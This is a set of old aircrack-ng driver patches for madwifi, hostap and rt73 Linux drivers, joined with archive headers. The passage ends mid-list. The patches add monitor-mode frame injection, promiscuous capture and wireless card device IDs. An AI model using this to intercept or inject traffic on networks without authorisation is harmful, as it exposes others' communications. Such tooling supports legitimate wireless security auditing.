../madwifi-cvs-20051025/net80211/ieee80211_wireless.c 2005-10-18 06:27:01.000000000 +0200 +++ ./net80211/ieee80211_wireless.c 2005-10-25 15:13:24.000000000 +0200 @@ -476,6 +476,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -502,6 +514,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -942,6 +959,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M CCK */ break; #endif default: aircrack-ng-1.2-beta3/patches/old/aicrack-ng-rc2_Intel_macOSX.patch0000644000000000000000000000043111231661020023473 0ustar rootrootIndex: sha1-sse2.S =================================================================== --- sha1-sse2.S (revision 1470) +++ sha1-sse2.S (working copy) @@ -21,7 +21,7 @@ .globl _shasse2_cpuid; .data -.align(16) +.align(12) const_init_a: .long 0x67452301 .long 0x67452301 aircrack-ng-1.2-beta3/patches/old/hostap-kernel-2.6.16.patch0000644000000000000000000004213710761053203021765 0ustar rootrootdiff -ur hostap/hostap_80211_tx.c hostap-aircrack-ng/hostap_80211_tx.c --- hostap/hostap_80211_tx.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_80211_tx.c 2006-04-02 00:32:25.000000000 -0500 @@ -69,6 +69,9 @@ iface = netdev_priv(dev); local = iface->local; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -234,6 +237,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -404,8 +408,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur hostap/hostap_cs.c hostap-aircrack-ng/hostap_cs.c --- hostap/hostap_cs.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_cs.c 2006-04-02 00:53:07.000000000 -0500 @@ -872,58 +872,105 @@ } static struct pcmcia_device_id hostap_cs_ids[] = { - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), - PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), - PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x026f, 0x030b), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), - PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x030b), + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b +// PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A + PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter +// PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :( +// PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24) +// PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card + PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card +// PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3 + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3) + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100 + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer) + PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520 + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H + PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01 + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ? + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100 + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030 + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC + PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11 + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300 + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2 + + PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6), + PCMCIA_DEVICE_MANF_CARD_PROD_ID1(0x0156, 0x0002, "INTERSIL", 0x74c5e40d), PCMCIA_DEVICE_MANF_CARD_PROD_ID1(0x0156, 0x0002, "Intersil", 0x4b801a17), - PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", - 0x7a954bd9, 0x74be00c6), - PCMCIA_DEVICE_PROD_ID1234( - "Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", - "Eval-RevA", - 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), - PCMCIA_DEVICE_PROD_ID123( - "Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", - 0xe6ec52ce, 0x08649af2, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", - 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "Instant Wireless ", " Network PC CARD", "Version 01.02", - 0x11d901af, 0x6e9bd926, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "SMC", "SMC2632W", "Version 01.02", - 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", - 0x2decece3, 0x82067c18), - PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", - 0x54f7c49c, 0x15a75e5b), - PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", - 0x74c5e40d, 0xdb472a18), - PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", - 0x0733cc81, 0x0c52f395), - PCMCIA_DEVICE_PROD_ID12( - "ZoomAir 11Mbps High", "Rate wireless Networking", - 0x273fe3db, 0x32a1eaee), - PCMCIA_DEVICE_NULL + + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +// PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +// PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +// PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +// PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +// PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), // HermesI + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +// PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +// PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +// PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), + PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), +// PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 0x3f02b4d6), // Symbol24 +// PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24 + PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_NULL }; MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids); diff -ur hostap/hostap_hw.c hostap-aircrack-ng/hostap_hw.c --- hostap/hostap_hw.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_hw.c 2006-04-02 00:32:25.000000000 -0500 @@ -1006,6 +1006,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1032,6 +1061,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1464,6 +1497,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3146,6 +3183,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur hostap/hostap_ioctl.c hostap-aircrack-ng/hostap_ioctl.c --- hostap/hostap_ioctl.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_ioctl.c 2006-04-02 00:32:25.000000000 -0500 @@ -1104,33 +1104,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1199,7 +1173,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur hostap/hostap_main.c hostap-aircrack-ng/hostap_main.c --- hostap/hostap_main.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_main.c 2006-04-02 00:32:25.000000000 -0500 @@ -332,7 +332,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur hostap/hostap_pci.c hostap/hostap_pci.c --- hostap/hostap_pci.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_pci.c 2006-04-02 00:32:25.000000000 -0500 @@ -49,6 +49,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; diff -ur hostap/hostap_plx.c hostap/hostap_plx.c --- hostap/hostap_plx.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_plx.c 2006-04-02 00:32:25.000000000 -0500 @@ -100,6 +100,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; diff -ur hostap/hostap_wlan.h hostap/hostap_wlan.h --- hostap/hostap_wlan.h 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_wlan.h 2006-04-02 00:32:25.000000000 -0500 @@ -575,6 +575,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-beta3/patches/old/rt73_2.6.24.patch0000644000000000000000000012205611050372022020063 0ustar rootrootdiff -Naur rt73-k2wrlz-2.0.1/Module/rtmp_def.h rt73-k2wrlz-2.0.1-24/Module/rtmp_def.h --- rt73-k2wrlz-2.0.1/Module/rtmp_def.h 2007-07-10 10:01:32.000000000 +0200 +++ rt73-k2wrlz-2.0.1-24/Module/rtmp_def.h 2008-02-13 23:12:13.000000000 +0100 @@ -1,26 +1,26 @@ -/*************************************************************************** - * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, write to the * - * Free Software Foundation, Inc., * - * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * - * * - * Licensed under the GNU GPL * - * Original code supplied under license from RaLink Inc, 2004. * +/*************************************************************************** + * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the * + * Free Software Foundation, Inc., * + * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * + * * + * Licensed under the GNU GPL * + * Original code supplied under license from RaLink Inc, 2004. * ***************************************************************************/ -/*************************************************************************** +/*************************************************************************** * Module Name: rtmp_def.h * * Abstract: Miniport related definition header @@ -31,7 +31,7 @@ * Paul Lin 08-01-2002 created * John Chang 08-05-2003 add definition for 11g & other drafts * idamlaj 04-10-2006 Add extra devices - * + * ***************************************************************************/ #ifndef __RTMP_DEF_H__ @@ -61,7 +61,7 @@ #define TYPE_RXD 1 #endif -//WEP +//WEP #define WEP_SMALL_KEY_LEN (40/8) #define WEP_LARGE_KEY_LEN (104/8) @@ -237,7 +237,7 @@ #define MAX_LEN_OF_SUPPORTED_RATES 12 // 1, 2, 5.5, 11, 6, 9, 12, 18, 24, 36, 48, 54 #define MAX_LEN_OF_KEY 32 // 32 octets == 256 bits, Redefine for WPA -#define MAX_NUM_OF_CHANNELS 43 //1-14, 36/40/44/48/52/56/60/64/100/104/108/112/116/120/124/ +#define MAX_NUM_OF_CHANNELS 43 //1-14, 36/40/44/48/52/56/60/64/100/104/108/112/116/120/124/ //128/132/136/140/149/153/157/161/165/34/38/42/46 + 1 as NULL termination #define MAX_NUM_OF_A_CHANNELS 24 //36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 165 #define J52_CHANNEL_START_OFFSET 38 //1-14, 36/40/44/48/52/56/60/64/100/104/108/112/116/120/124/ @@ -245,7 +245,7 @@ #define MAX_LEN_OF_SSID 32 #define CIPHER_TEXT_LEN 128 #define MAX_LEN_OF_MLME_BUFFER 2048 -#define MAX_MLME_HANDLER_MEMORY 20 //each them cantains MAX_LEN_OF_MLME_BUFFER size +#define MAX_MLME_HANDLER_MEMORY 20 //each them cantains MAX_LEN_OF_MLME_BUFFER size #define MAX_FRAME_LEN 2338 #define MAX_VIE_LEN 160 // New for WPA cipher suite variable IE sizes. @@ -304,7 +304,7 @@ #define MLME_SUCCESS 0 #define MLME_UNSPECIFY_FAIL 1 #define MLME_CANNOT_SUPPORT_CAP 10 -#define MLME_REASSOC_DENY_ASSOC_EXIST 11 +#define MLME_REASSOC_DENY_ASSOC_EXIST 11 #define MLME_ASSOC_DENY_OUT_SCOPE 12 #define MLME_ALG_NOT_SUPPORT 13 #define MLME_SEQ_NR_OUT_OF_SEQUENCE 14 @@ -334,7 +334,7 @@ #define IE_802_11D_REQUEST 10 // 802.11d #define IE_QBSS_LOAD 11 // 802.11e d9 #define IE_EDCA_PARAMETER 12 // 802.11e d9 -#define IE_TSPEC 13 // 802.11e d9 +#define IE_TSPEC 13 // 802.11e d9 #define IE_TCLAS 14 // 802.11e d9 #define IE_SCHEDULE 15 // 802.11e d9 #define IE_CHALLENGE_TEXT 16 @@ -422,7 +422,7 @@ #define ASSOC_MACHINE_BASE 0 #define MT2_MLME_ASSOC_REQ 0 #define MT2_MLME_REASSOC_REQ 1 -#define MT2_MLME_DISASSOC_REQ 2 +#define MT2_MLME_DISASSOC_REQ 2 #define MT2_PEER_DISASSOC_REQ 3 #define MT2_PEER_ASSOC_REQ 4 #define MT2_PEER_ASSOC_RSP 5 @@ -491,7 +491,7 @@ // // STA's WPA-PSK State machine: states, events, total function # -// +// #define WPA_PSK_IDLE 0 #define MAX_WPA_PSK_STATE 1 @@ -650,8 +650,8 @@ #define CIPHER_AES 4 #define CIPHER_CKIP64 5 #define CIPHER_CKIP128 6 -#define CIPHER_TKIP_NO_MIC 7 // MIC has been appended by driver, not a valid value in hardware key table - +#define CIPHER_TKIP_NO_MIC 7 // MIC has been appended by driver, not a valid value in hardware key table + // value domain for pAd->RfIcType #define RFIC_5226 1 //A/B/G @@ -813,6 +813,7 @@ // VID/PID //------------------- +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) #define RT73_USB_DEVICES { \ {USB_DEVICE(0x0b05,0x1723)}, /* ASUS */ \ {USB_DEVICE(0x148f,0x2573)}, /* Ralink */ \ @@ -843,7 +844,38 @@ {USB_DEVICE(0x0df6,0x90ac)}, /* Sitecom */ \ {USB_DEVICE(0x13b1,0x0023)}, /* LinkSys */ \ {USB_DEVICE(0,0)}} /* end marker */ - +#else +#define RT73_USB_DEVICES { \ + {USB_DEVICE(0x0b05,0x1723)}, /* ASUS */ \ + {USB_DEVICE(0x148f,0x2573)}, /* Ralink */ \ + {USB_DEVICE(0x148f,0x2671)}, /* Ralink */ \ + {USB_DEVICE(0x18e8,0x6196)}, /* Qcom */ \ + {USB_DEVICE(0x18e8,0x6229)}, /* Qcom */ \ + {USB_DEVICE(0x1044,0x8008)}, /* 